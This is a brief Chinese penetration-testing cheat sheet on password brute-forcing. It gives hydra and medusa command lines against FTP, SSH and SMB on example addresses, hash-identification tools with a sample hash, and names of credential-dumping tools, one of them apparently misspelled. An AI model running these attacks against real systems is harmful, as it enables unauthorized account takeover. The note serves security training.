【渗透测试笔记】之【暴力破解】

字典质量是根本，一般采用社会工程学。

破解工具

hydra

稳定性不好，应对单一主机

hydra -l user -P passlist.txt ftp://192.168.1.1
hydra -L userlist.txt -P passlist.txt ftp://192.168.1.1
hydra -L userlist.txt -P passlist.txt -M targetlist.txt ssh
hydra -L userlist.txt -P passlist.txt ftp://192.168.1.1 -t 1
# -t 1：线程为1
# -s 8080：指定端口

hydra -l administrator -P passlist.txt smb://1.1.1.1/admin$ -vV

Medusa

稳定性好，应对多主机

medusa -d
# 查看所有支持破解的服务
medusa -u root -P passlist.txt -M ssh -h 192.168.1.1 -F -e ns 
# F：发现密码即停止破解
# -e ns：空密码和账号尝试

HASH 识别工具

Hash-identifier

hash-identifier

Hashid

准确性不如前者

hashid 21232f297a57a5a743894a0e4a801fc3

HASH 获取工具

Pwdump、fgdump、minikatz、wce